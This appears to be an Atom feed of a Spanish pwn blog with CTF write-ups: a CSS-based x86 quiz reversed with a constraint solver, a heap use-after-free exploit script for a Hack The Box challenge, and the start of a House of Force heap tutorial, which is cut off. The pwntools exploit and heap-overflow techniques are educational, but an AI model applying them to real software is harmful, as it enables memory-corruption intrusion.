<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="3.10.0">Jekyll</generator><link href="http://naibu3.github.io//feed.xml" rel="self" type="application/atom+xml" /><link href="http://naibu3.github.io//" rel="alternate" type="text/html" /><updated>2026-04-16T22:32:47+00:00</updated><id>http://naibu3.github.io//feed.xml</id><title type="html">Naibu3</title><subtitle>Pwn y más</subtitle><author><name>naibu3</name></author><entry><title type="html">Cascading the Seven Seas RITSEC CTF</title><link href="http://naibu3.github.io//Cascading-the-Seven-Seas/" rel="alternate" type="text/html" title="Cascading the Seven Seas RITSEC CTF" /><published>2026-04-06T00:00:00+00:00</published><updated>2026-04-06T00:00:00+00:00</updated><id>http://naibu3.github.io//Cascading-the-Seven-Seas</id><content type="html" xml:base="http://naibu3.github.io//Cascading-the-Seven-Seas/"><![CDATA[<p>Llevaba tiempo sin subir nada al blog y me pareció que este reto del <a href="https://ctfd.ritsec.club/">RITSEC CTF</a> merecía la pena tener un writeup.</p>

<h1 id="overview">Overview</h1>

<p>Es un reto de web, que mucha gente sacó de primeras (imagino que la IA no tiene mucho problema para resolverlo). El caso es que el autor (<a href="https://x.com/rebane2001">sy1vi3</a>), se ha programado un procesador x86 completo en CSS, y se nos carga la página con un programa que implementa un quiz.</p>

<p><br />
<img src="/images/posts/2026-04-06-Cascading-the-Seven-Seas-001.png" alt="Image" width="600px" /></p>

<h1 id="explotación">Explotación</h1>

<p>Dado que el programa implementa un emulador de x86, podemos interpretar los bytes hardcodeados como tales:</p>

<div class="language-css highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">@property</span> <span class="n">--m0</span> <span class="p">{</span>
  <span class="py">syntax</span><span class="p">:</span> <span class="s1">"&lt;integer&gt;"</span><span class="p">;</span>
  <span class="py">initial-value</span><span class="p">:</span> <span class="m">204</span><span class="p">;</span>
  <span class="py">inherits</span><span class="p">:</span> <span class="n">true</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">@property</span> <span class="n">--m1</span> <span class="p">{</span>
  <span class="py">syntax</span><span class="p">:</span> <span class="s1">"&lt;integer&gt;"</span><span class="p">;</span>
  <span class="py">initial-value</span><span class="p">:</span> <span class="m">144</span><span class="p">;</span>
  <span class="py">inherits</span><span class="p">:</span> <span class="n">true</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">@property</span> <span class="n">--m2</span> <span class="p">{</span>
  <span class="py">syntax</span><span class="p">:</span> <span class="s1">"&lt;integer&gt;"</span><span class="p">;</span>
  <span class="py">initial-value</span><span class="p">:</span> <span class="m">144</span><span class="p">;</span>
  <span class="py">inherits</span><span class="p">:</span> <span class="n">true</span><span class="p">;</span>
<span class="p">}</span>
<span class="o">[...]</span>
<span class="k">@property</span> <span class="n">--m256</span> <span class="p">{</span>
  <span class="py">syntax</span><span class="p">:</span> <span class="s1">"&lt;integer&gt;"</span><span class="p">;</span>
  <span class="py">initial-value</span><span class="p">:</span> <span class="m">86</span><span class="p">;</span>
  <span class="py">inherits</span><span class="p">:</span> <span class="n">true</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">@property</span> <span class="n">--m257</span> <span class="p">{</span>
  <span class="py">syntax</span><span class="p">:</span> <span class="s1">"&lt;integer&gt;"</span><span class="p">;</span>
  <span class="py">initial-value</span><span class="p">:</span> <span class="m">85</span><span class="p">;</span>
  <span class="py">inherits</span><span class="p">:</span> <span class="n">true</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">@property</span> <span class="n">--m258</span> <span class="p">{</span>
  <span class="py">syntax</span><span class="p">:</span> <span class="s1">"&lt;integer&gt;"</span><span class="p">;</span>
  <span class="py">initial-value</span><span class="p">:</span> <span class="m">137</span><span class="p">;</span>
  <span class="py">inherits</span><span class="p">:</span> <span class="n">true</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">@property</span> <span class="n">--m259</span> <span class="p">{</span>
  <span class="py">syntax</span><span class="p">:</span> <span class="s1">"&lt;integer&gt;"</span><span class="p">;</span>
  <span class="py">initial-value</span><span class="p">:</span> <span class="m">229</span><span class="p">;</span>
  <span class="py">inherits</span><span class="p">:</span> <span class="n">true</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Esto nos deja un flujo como:</p>

<ul>
  <li>En <code class="language-plaintext highlighter-rouge">0x301</code> (<code class="language-plaintext highlighter-rouge">769</code>) inicializa varios punteros de funciones/estado. Podemos verlo ya que IP se inicializa ahí:</li>
</ul>

<div class="language-css highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">@property</span> <span class="n">--IP</span> <span class="p">{</span>
  <span class="py">syntax</span><span class="p">:</span> <span class="s1">"&lt;integer&gt;"</span><span class="p">;</span>
  <span class="py">initial-value</span><span class="p">:</span> <span class="m">769</span><span class="p">;</span>
  <span class="py">inherits</span><span class="p">:</span> <span class="n">true</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<ul>
  <li>Entra al main en 0x248;</li>
  <li>Imprime el banner y las preguntas;</li>
  <li>Lee una respuesta;</li>
  <li>Comprueba longitud;</li>
  <li>Valida con una tabla;</li>
  <li>Repite para las 3 preguntas.</li>
</ul>

<p>Para simplificar el análisis podemos convertir la memoria a un archivo .bin y analizarlo como un binario x86. Podemos hacerlo con un script en python:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">re</span>

<span class="n">html</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="s">"full.html"</span><span class="p">,</span> <span class="s">"r"</span><span class="p">,</span> <span class="n">encoding</span><span class="o">=</span><span class="s">"utf-8"</span><span class="p">).</span><span class="n">read</span><span class="p">()</span>

<span class="n">pairs</span> <span class="o">=</span> <span class="n">re</span><span class="p">.</span><span class="n">findall</span><span class="p">(</span>
    <span class="sa">r</span><span class="s">'@property\s+--m(\d+)\s*\{[^}]*?initial-value:\s*(\d+);'</span><span class="p">,</span>
    <span class="n">html</span><span class="p">,</span>
    <span class="n">re</span><span class="p">.</span><span class="n">S</span>
<span class="p">)</span>

<span class="n">mem</span> <span class="o">=</span> <span class="p">{</span><span class="nb">int</span><span class="p">(</span><span class="n">idx</span><span class="p">):</span> <span class="nb">int</span><span class="p">(</span><span class="n">val</span><span class="p">)</span> <span class="k">for</span> <span class="n">idx</span><span class="p">,</span> <span class="n">val</span> <span class="ow">in</span> <span class="n">pairs</span><span class="p">}</span>
<span class="n">size</span> <span class="o">=</span> <span class="nb">max</span><span class="p">(</span><span class="n">mem</span><span class="p">)</span> <span class="o">+</span> <span class="mi">1</span>

<span class="n">data</span> <span class="o">=</span> <span class="nb">bytes</span><span class="p">(</span><span class="n">mem</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="n">i</span><span class="p">,</span> <span class="mi">0</span><span class="p">)</span> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">size</span><span class="p">))</span>

<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s">"cssvm.bin"</span><span class="p">,</span> <span class="s">"wb"</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
    <span class="n">f</span><span class="p">.</span><span class="n">write</span><span class="p">(</span><span class="n">data</span><span class="p">)</span>

<span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"extraídos </span><span class="si">{</span><span class="nb">len</span><span class="p">(</span><span class="n">mem</span><span class="p">)</span><span class="si">}</span><span class="s"> bytes definidos"</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"binario escrito en cssvm.bin con tamaño </span><span class="si">{</span><span class="nb">len</span><span class="p">(</span><span class="n">data</span><span class="p">)</span><span class="si">}</span><span class="s"> bytes"</span><span class="p">)</span>
</code></pre></div></div>

<p>Y podemos decompilarlo rápidamente con:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>objdump <span class="nt">-D</span> <span class="nt">-Mintel</span> <span class="nt">-b</span> binary <span class="nt">-m</span> i8086 cssvm.bin | less
</code></pre></div></div>

<p>Las cadenas en memoria y las longitudes que exige el programa para las tres preguntas son:</p>

<ol>
  <li><code class="language-plaintext highlighter-rouge">Which ocean is the largest?</code> - 7</li>
  <li><code class="language-plaintext highlighter-rouge">Name an aquatic mammal</code> - 5</li>
  <li><code class="language-plaintext highlighter-rouge">What's the flag?</code> - 32</li>
</ol>

<p>Para validar las preguntas se itera una tabla de entradas de 8 bytes. Cada entrada son 4 words de 16 bits:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>indice a
indice b
indice c
valor_objetivo t
</code></pre></div></div>

<p>La condición que se comprueba es:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>respuesta[a] ^ (respuesta[b] + respuesta[c]) == t
</code></pre></div></div>

<p>Con las tablas ya extraídas, resolverlo es bastante directo. En mi caso tiré de un pequeño backtracking con propagación de dominios, restringiendo además el alfabeto a los caracteres que realmente permite el teclado del reto:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0-9
A-Z
_
{}
</code></pre></div></div>

<p>Un solver sencillo sería algo así:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">ALPHABET</span> <span class="o">=</span> <span class="s">"0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_{}"</span>
<span class="n">CHARSET</span> <span class="o">=</span> <span class="nb">set</span><span class="p">(</span><span class="nb">map</span><span class="p">(</span><span class="nb">ord</span><span class="p">,</span> <span class="n">ALPHABET</span><span class="p">))</span>

<span class="k">def</span> <span class="nf">propagate</span><span class="p">(</span><span class="n">domains</span><span class="p">,</span> <span class="n">constraints</span><span class="p">):</span>
    <span class="n">changed</span> <span class="o">=</span> <span class="bp">True</span>
    <span class="k">while</span> <span class="n">changed</span><span class="p">:</span>
        <span class="n">changed</span> <span class="o">=</span> <span class="bp">False</span>

        <span class="k">for</span> <span class="n">a</span><span class="p">,</span> <span class="n">b</span><span class="p">,</span> <span class="n">c</span><span class="p">,</span> <span class="n">t</span> <span class="ow">in</span> <span class="n">constraints</span><span class="p">:</span>
            <span class="n">da</span><span class="p">,</span> <span class="n">db</span><span class="p">,</span> <span class="n">dc</span> <span class="o">=</span> <span class="n">domains</span><span class="p">[</span><span class="n">a</span><span class="p">],</span> <span class="n">domains</span><span class="p">[</span><span class="n">b</span><span class="p">],</span> <span class="n">domains</span><span class="p">[</span><span class="n">c</span><span class="p">]</span>

            <span class="n">poss_a</span> <span class="o">=</span> <span class="p">{((</span><span class="n">x</span> <span class="o">+</span> <span class="n">y</span><span class="p">)</span> <span class="o">^</span> <span class="n">t</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mh">0xFF</span> <span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="n">db</span> <span class="k">for</span> <span class="n">y</span> <span class="ow">in</span> <span class="n">dc</span><span class="p">}</span>
            <span class="n">poss_b</span> <span class="o">=</span> <span class="p">{((</span><span class="n">t</span> <span class="o">^</span> <span class="n">x</span><span class="p">)</span> <span class="o">-</span> <span class="n">y</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mh">0xFF</span> <span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="n">da</span> <span class="k">for</span> <span class="n">y</span> <span class="ow">in</span> <span class="n">dc</span><span class="p">}</span>
            <span class="n">poss_c</span> <span class="o">=</span> <span class="p">{((</span><span class="n">t</span> <span class="o">^</span> <span class="n">x</span><span class="p">)</span> <span class="o">-</span> <span class="n">y</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mh">0xFF</span> <span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="n">da</span> <span class="k">for</span> <span class="n">y</span> <span class="ow">in</span> <span class="n">db</span><span class="p">}</span>

            <span class="n">na</span> <span class="o">=</span> <span class="n">da</span> <span class="o">&amp;</span> <span class="n">poss_a</span>
            <span class="n">nb</span> <span class="o">=</span> <span class="n">db</span> <span class="o">&amp;</span> <span class="n">poss_b</span>
            <span class="n">nc</span> <span class="o">=</span> <span class="n">dc</span> <span class="o">&amp;</span> <span class="n">poss_c</span>

            <span class="k">if</span> <span class="ow">not</span> <span class="n">na</span> <span class="ow">or</span> <span class="ow">not</span> <span class="n">nb</span> <span class="ow">or</span> <span class="ow">not</span> <span class="n">nc</span><span class="p">:</span>
                <span class="k">return</span> <span class="bp">None</span>

            <span class="k">if</span> <span class="n">na</span> <span class="o">!=</span> <span class="n">da</span><span class="p">:</span>
                <span class="n">domains</span><span class="p">[</span><span class="n">a</span><span class="p">]</span> <span class="o">=</span> <span class="n">na</span>
                <span class="n">changed</span> <span class="o">=</span> <span class="bp">True</span>
            <span class="k">if</span> <span class="n">nb</span> <span class="o">!=</span> <span class="n">db</span><span class="p">:</span>
                <span class="n">domains</span><span class="p">[</span><span class="n">b</span><span class="p">]</span> <span class="o">=</span> <span class="n">nb</span>
                <span class="n">changed</span> <span class="o">=</span> <span class="bp">True</span>
            <span class="k">if</span> <span class="n">nc</span> <span class="o">!=</span> <span class="n">dc</span><span class="p">:</span>
                <span class="n">domains</span><span class="p">[</span><span class="n">c</span><span class="p">]</span> <span class="o">=</span> <span class="n">nc</span>
                <span class="n">changed</span> <span class="o">=</span> <span class="bp">True</span>

    <span class="k">return</span> <span class="n">domains</span>

<span class="k">def</span> <span class="nf">solve_with_domains</span><span class="p">(</span><span class="n">constraints</span><span class="p">,</span> <span class="n">domains</span><span class="p">):</span>
    <span class="n">domains</span> <span class="o">=</span> <span class="n">propagate</span><span class="p">(</span><span class="n">domains</span><span class="p">,</span> <span class="n">constraints</span><span class="p">)</span>
    <span class="k">if</span> <span class="n">domains</span> <span class="ow">is</span> <span class="bp">None</span><span class="p">:</span>
        <span class="k">return</span> <span class="bp">None</span>

    <span class="k">if</span> <span class="nb">all</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">d</span><span class="p">)</span> <span class="o">==</span> <span class="mi">1</span> <span class="k">for</span> <span class="n">d</span> <span class="ow">in</span> <span class="n">domains</span><span class="p">):</span>
        <span class="k">return</span> <span class="s">""</span><span class="p">.</span><span class="n">join</span><span class="p">(</span><span class="nb">chr</span><span class="p">(</span><span class="nb">next</span><span class="p">(</span><span class="nb">iter</span><span class="p">(</span><span class="n">d</span><span class="p">)))</span> <span class="k">for</span> <span class="n">d</span> <span class="ow">in</span> <span class="n">domains</span><span class="p">)</span>

    <span class="n">idx</span> <span class="o">=</span> <span class="nb">min</span><span class="p">(</span>
        <span class="p">(</span><span class="n">i</span> <span class="k">for</span> <span class="n">i</span><span class="p">,</span> <span class="n">d</span> <span class="ow">in</span> <span class="nb">enumerate</span><span class="p">(</span><span class="n">domains</span><span class="p">)</span> <span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">d</span><span class="p">)</span> <span class="o">&gt;</span> <span class="mi">1</span><span class="p">),</span>
        <span class="n">key</span><span class="o">=</span><span class="k">lambda</span> <span class="n">i</span><span class="p">:</span> <span class="nb">len</span><span class="p">(</span><span class="n">domains</span><span class="p">[</span><span class="n">i</span><span class="p">])</span>
    <span class="p">)</span>

    <span class="k">for</span> <span class="n">v</span> <span class="ow">in</span> <span class="nb">sorted</span><span class="p">(</span><span class="n">domains</span><span class="p">[</span><span class="n">idx</span><span class="p">]):</span>
        <span class="n">new_domains</span> <span class="o">=</span> <span class="p">[</span><span class="nb">set</span><span class="p">(</span><span class="n">d</span><span class="p">)</span> <span class="k">for</span> <span class="n">d</span> <span class="ow">in</span> <span class="n">domains</span><span class="p">]</span>
        <span class="n">new_domains</span><span class="p">[</span><span class="n">idx</span><span class="p">]</span> <span class="o">=</span> <span class="p">{</span><span class="n">v</span><span class="p">}</span>
        <span class="n">res</span> <span class="o">=</span> <span class="n">solve_with_domains</span><span class="p">(</span><span class="n">constraints</span><span class="p">,</span> <span class="n">new_domains</span><span class="p">)</span>
        <span class="k">if</span> <span class="n">res</span> <span class="ow">is</span> <span class="ow">not</span> <span class="bp">None</span><span class="p">:</span>
            <span class="k">return</span> <span class="n">res</span>

    <span class="k">return</span> <span class="bp">None</span>

<span class="k">def</span> <span class="nf">solve</span><span class="p">(</span><span class="n">constraints</span><span class="p">,</span> <span class="n">length</span><span class="p">,</span> <span class="n">fixed</span><span class="o">=</span><span class="bp">None</span><span class="p">):</span>
    <span class="n">domains</span> <span class="o">=</span> <span class="p">[</span><span class="nb">set</span><span class="p">(</span><span class="n">CHARSET</span><span class="p">)</span> <span class="k">for</span> <span class="n">_</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">length</span><span class="p">)]</span>

    <span class="k">if</span> <span class="n">fixed</span><span class="p">:</span>
        <span class="k">for</span> <span class="n">i</span><span class="p">,</span> <span class="n">ch</span> <span class="ow">in</span> <span class="n">fixed</span><span class="p">.</span><span class="n">items</span><span class="p">():</span>
            <span class="n">domains</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="p">{</span><span class="nb">ord</span><span class="p">(</span><span class="n">ch</span><span class="p">)}</span>

    <span class="k">return</span> <span class="n">solve_with_domains</span><span class="p">(</span><span class="n">constraints</span><span class="p">,</span> <span class="n">domains</span><span class="p">)</span>

<span class="k">print</span><span class="p">(</span><span class="n">solve</span><span class="p">(</span><span class="n">Q1_TABLE</span><span class="p">,</span> <span class="mi">7</span><span class="p">))</span>
<span class="k">print</span><span class="p">(</span><span class="n">solve</span><span class="p">(</span><span class="n">Q2_TABLE</span><span class="p">,</span> <span class="mi">5</span><span class="p">))</span>
<span class="k">print</span><span class="p">(</span><span class="n">solve</span><span class="p">(</span><span class="n">Q3_TABLE</span><span class="p">,</span> <span class="mi">32</span><span class="p">,</span> <span class="n">fixed</span><span class="o">=</span><span class="p">{</span><span class="mi">0</span><span class="p">:</span> <span class="s">"R"</span><span class="p">,</span> <span class="mi">1</span><span class="p">:</span> <span class="s">"S"</span><span class="p">,</span> <span class="mi">2</span><span class="p">:</span> <span class="s">"{"</span><span class="p">,</span> <span class="mi">31</span><span class="p">:</span> <span class="s">"}"</span><span class="p">}))</span>
</code></pre></div></div>

<p>Y así obtendremos la flag! Un reto bastante chulo, espero que os haya gustado!</p>]]></content><author><name>naibu3</name></author><category term="Web" /><category term="Writeups" /><summary type="html"><![CDATA[Llevaba tiempo sin subir nada al blog y me pareció que este reto del RITSEC CTF merecía la pena tener un writeup.]]></summary></entry><entry><title type="html">Rookie Salvation</title><link href="http://naibu3.github.io//Rookie-Salvation/" rel="alternate" type="text/html" title="Rookie Salvation" /><published>2025-11-03T00:00:00+00:00</published><updated>2025-11-03T00:00:00+00:00</updated><id>http://naibu3.github.io//Rookie-Salvation</id><content type="html" xml:base="http://naibu3.github.io//Rookie-Salvation/"><![CDATA[<p>En este post os traigo el segundo reto de la categoría de PWN en el <em>Hack the Boo</em> de <a href="https://www.hackthebox.com">Hack The Box</a>. Este reto ha sido bastante especial para mí, ya que es el primer reto de heap que resuelvo en una competición como tal.</p>

<h1 id="overview">Overview</h1>

<p>La descripción nos dice:</p>

<blockquote>
  <ul>
    <li>Just let it freeee….</li>
    <li>0xdeadbeef? Nah, w3th4nds is better..</li>
    <li>How much to allocate? 20? 0x20? 0x2000000000000?</li>
    <li>Where is the offset to overwrite?</li>
    <li>ESCAPE</li>
  </ul>
</blockquote>

<p>Y se nos entrega un binario que podemos decompilar para ver lo siguiente:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">//main</span>
<span class="c1">//...</span>
  <span class="n">pvVar1</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">(</span><span class="mh">0x26</span><span class="p">);</span>
  <span class="n">allocated_space</span> <span class="o">=</span> <span class="n">pvVar1</span><span class="p">;</span>
  <span class="o">*</span><span class="p">(</span><span class="n">undefined8</span> <span class="o">*</span><span class="p">)((</span><span class="kt">long</span><span class="p">)</span><span class="n">pvVar1</span> <span class="o">+</span> <span class="mh">0x1e</span><span class="p">)</span> <span class="o">=</span> <span class="mh">0x6665656264616564</span><span class="p">;</span>
  <span class="o">*</span><span class="p">(</span><span class="n">undefined</span> <span class="o">*</span><span class="p">)((</span><span class="kt">long</span><span class="p">)</span><span class="n">pvVar1</span> <span class="o">+</span> <span class="mh">0x26</span><span class="p">)</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="c1">//...</span>

<span class="c1">//road_to_salvation</span>
<span class="c1">//...</span>
<span class="n">iVar1</span> <span class="o">=</span> <span class="n">strcmp</span><span class="p">((</span><span class="kt">char</span> <span class="o">*</span><span class="p">)(</span><span class="n">allocated_space</span> <span class="o">+</span> <span class="mh">0x1e</span><span class="p">),</span><span class="s">"w3th4nds"</span><span class="p">);</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">iVar1</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">success</span><span class="p">(</span><span class="o">&amp;</span><span class="n">DAT_00102f98</span><span class="p">);</span>
        <span class="n">local_48</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
        <span class="n">local_40</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
        <span class="n">local_38</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
        <span class="n">local_30</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
        <span class="n">local_28</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
        <span class="n">local_20</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
        <span class="n">__stream</span> <span class="o">=</span> <span class="n">fopen</span><span class="p">(</span><span class="s">"flag.txt"</span><span class="p">,</span><span class="s">"r"</span><span class="p">);</span>
<span class="c1">//...</span>
</code></pre></div></div>

<p>Vemos que el programa comienza reservando un bloque y asignando un valor. Existe un menú que nos permite reservar y liberar memoria dinámica y seleccionar una opción que lee el valor que se asignó al principio, en caso de ser <code class="language-plaintext highlighter-rouge">w3th4nds</code>, devuelve la flag.</p>

<h1 id="explotación">Explotación</h1>

<p>En este caso la explotación es muy sencilla. Dado que al liberar memoria, dicho bloque simplemente se almacena en caché, y que podemos reservar memoria. Es posible comenzar liberando el primer bloque y, a continuación, reservar un bloque de igual tamaño sobrescribiendo el valor objetivo.</p>

<p>El script para resolver el reto sería:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">#!/usr/bin/env python3
</span><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>

<span class="n">exe</span> <span class="o">=</span> <span class="s">'./rookie_salvation'</span>
<span class="n">remote_addr</span> <span class="o">=</span> <span class="s">"138.197.185.246"</span>
<span class="n">remote_port</span> <span class="o">=</span> <span class="mi">32260</span>

<span class="k">if</span> <span class="n">args</span><span class="p">.</span><span class="n">REMOTE</span><span class="p">:</span>
    <span class="n">p</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="n">remote_addr</span><span class="p">,</span> <span class="n">remote_port</span><span class="p">)</span>
<span class="k">else</span><span class="p">:</span>
    <span class="n">p</span> <span class="o">=</span> <span class="n">process</span><span class="p">(</span><span class="n">exe</span><span class="p">)</span>

<span class="k">def</span> <span class="nf">menu_choice</span><span class="p">(</span><span class="n">n</span><span class="p">:</span> <span class="nb">int</span><span class="p">):</span>
    <span class="n">p</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">"&gt;"</span><span class="p">)</span>
    <span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="n">n</span><span class="p">).</span><span class="n">encode</span><span class="p">())</span>

<span class="k">def</span> <span class="nf">reserve</span><span class="p">(</span><span class="n">size</span><span class="p">:</span> <span class="nb">int</span><span class="p">,</span> <span class="n">data</span><span class="p">:</span> <span class="nb">bytes</span><span class="p">):</span>
    <span class="n">menu_choice</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
    <span class="n">p</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">":"</span><span class="p">)</span>
    <span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="n">size</span><span class="p">).</span><span class="n">encode</span><span class="p">())</span>
    <span class="n">p</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">":"</span><span class="p">)</span>
    <span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">data</span><span class="p">)</span>

<span class="k">def</span> <span class="nf">free_allocated</span><span class="p">():</span>
    <span class="n">menu_choice</span><span class="p">(</span><span class="mi">2</span><span class="p">)</span>

<span class="n">free_allocated</span><span class="p">()</span>

<span class="n">payload</span> <span class="o">=</span> <span class="sa">b</span><span class="s">'A'</span><span class="o">*</span><span class="mi">30</span> <span class="o">+</span> <span class="sa">b</span><span class="s">'w3th4nds'</span>
<span class="n">reserve</span><span class="p">(</span><span class="mi">32</span><span class="p">,</span> <span class="n">payload</span><span class="p">)</span>

<span class="n">menu_choice</span><span class="p">(</span><span class="mi">3</span><span class="p">)</span>

<span class="n">p</span><span class="p">.</span><span class="n">interactive</span><span class="p">()</span>
</code></pre></div></div>

<p>Y esto sería todo, un ejercicio sencillito para practicar un poco de debugging y conceptos muy báscios de memoria dinámica.</p>]]></content><author><name>naibu3</name></author><category term="Heap" /><category term="Pwn" /><category term="Writeups" /><summary type="html"><![CDATA[En este post os traigo el segundo reto de la categoría de PWN en el Hack the Boo de Hack The Box. Este reto ha sido bastante especial para mí, ya que es el primer reto de heap que resuelvo en una competición como tal.]]></summary></entry><entry><title type="html">House of Force - Heap</title><link href="http://naibu3.github.io//House-of-Force/" rel="alternate" type="text/html" title="House of Force - Heap" /><published>2025-08-28T00:00:00+00:00</published><updated>2025-08-28T00:00:00+00:00</updated><id>http://naibu3.github.io//House-of-Force</id><content type="html" xml:base="http://naibu3.github.io//House-of-Force/"><![CDATA[<p>Un año después de crear esta página, por fin me he decidido a subir contenido sobre explotación de Heap. Este pretende ser el primer post de una serie en la que explotaremos vulnerabilidades del temido <em>Heap</em>. Al final de cada post, pondré el enlace al siguiente.</p>

<p>Antes de empezar quiero dar crédito al que está siendo mi maestro en esto del Heap, <a href="https://www.udemy.com/user/max-kamper/">Max Kamper</a> (autor de <a href="https://ropemporium.com/">ROPEmporium</a>, la primera saga de esta web), dejo el enlace a su perfil de Udemy donde está el curso que estoy siguiendo yo y de donde saco los recursos. Aunque haya decidido explicar los conceptos traducidos aquí, sus explicaciones son mucho más completas y claras, así que si sabes inglés (o koreano) te recomiendo mil veces más comprar su curso.</p>

<p>También voy a asumir que si estás leyendo esto sabes de sobra lo que es un heap, las partes de un binario y como funciona la reserva de memoria dinámica y <em>malloc</em>. Si no lo sabes, ya sabes por dónde empezar.</p>

<h1 id="qué-es-la-house-of-force">¿Qué es la House of Force?</h1>

<p>Es una vulnerabilidad que aprovecha un <strong>Heap Overflow</strong> para sobrescribir la cabecera del <strong>top chunk</strong>, aumentando el campo de tamaño y permitiendo reservas de memoria fuera del espacio de direcciones del heap.</p>

<p>Afecta a versiones de libc por debajo de la 2.28.</p>

<h1 id="ejemplo-de-explotación">Ejemplo de explotación</h1>

<p>Para la explotación utilizaremos un programa secillo que nos permite hacer varias reservas de memoria y ver el contenido de una variable <em>target</em>.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>./house_of_force

<span class="o">===============</span>
|   HeapLAB   |  House of Force
<span class="o">===============</span>

puts<span class="o">()</span> @ 0x7fd37b46df10
heap @ 0x3b023000

1<span class="o">)</span> malloc 0/4
2<span class="o">)</span> target
3<span class="o">)</span> quit
</code></pre></div></div>

<p>Si tratamos de utilizar la primera opción y pasar un valor muy grande veremos lo siguiente (utilizando [[pwndbg]]):</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">===============</span>
|   HeapLAB   |  House of Force
<span class="o">===============</span>

puts<span class="o">()</span> @ 0x7ffff786df10
heap @ 0x603000

1<span class="o">)</span> malloc 0/4
2<span class="o">)</span> target
3<span class="o">)</span> quit
<span class="o">&gt;</span> 1
size: 24
data: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
</code></pre></div></div>

<blockquote>
  <p>Con <code class="language-plaintext highlighter-rouge">Ctl+C</code> podemos detener la ejecución y con <code class="language-plaintext highlighter-rouge">vis</code>, ver el heap.</p>
</blockquote>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>pwndbg&gt; vis

0x603000	0x0000000000000000	0x0000000000000021	........!.......
0x603010	0x4141414141414141	0x4141414141414141	AAAAAAAAAAAAAAAA
0x603020	0x4141414141414141	0x4141414141414141	AAAAAAAAAAAAAAAA	 &lt;<span class="nt">--</span> Top chunk
</code></pre></div></div>

<p>Vemos algo interesante, nuestras <code class="language-plaintext highlighter-rouge">A</code> han sobrescrito la cabecera del <em>top chunk</em>. Ahora podremos reservar un chunk más grande del tamaño del heap.</p>

<h2 id="escritura-arbitraria">Escritura arbitraria</h2>

<p>Como hemos visto antes, hay una variable target que tenemos opción de consultar. Utilizando la <em>House of Force</em>, podemos tratar de sobrescribirla.</p>

<p>Para ello utilizaremos [[pwntools]] en el siguiente script:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">#!/usr/bin/python3
</span><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>

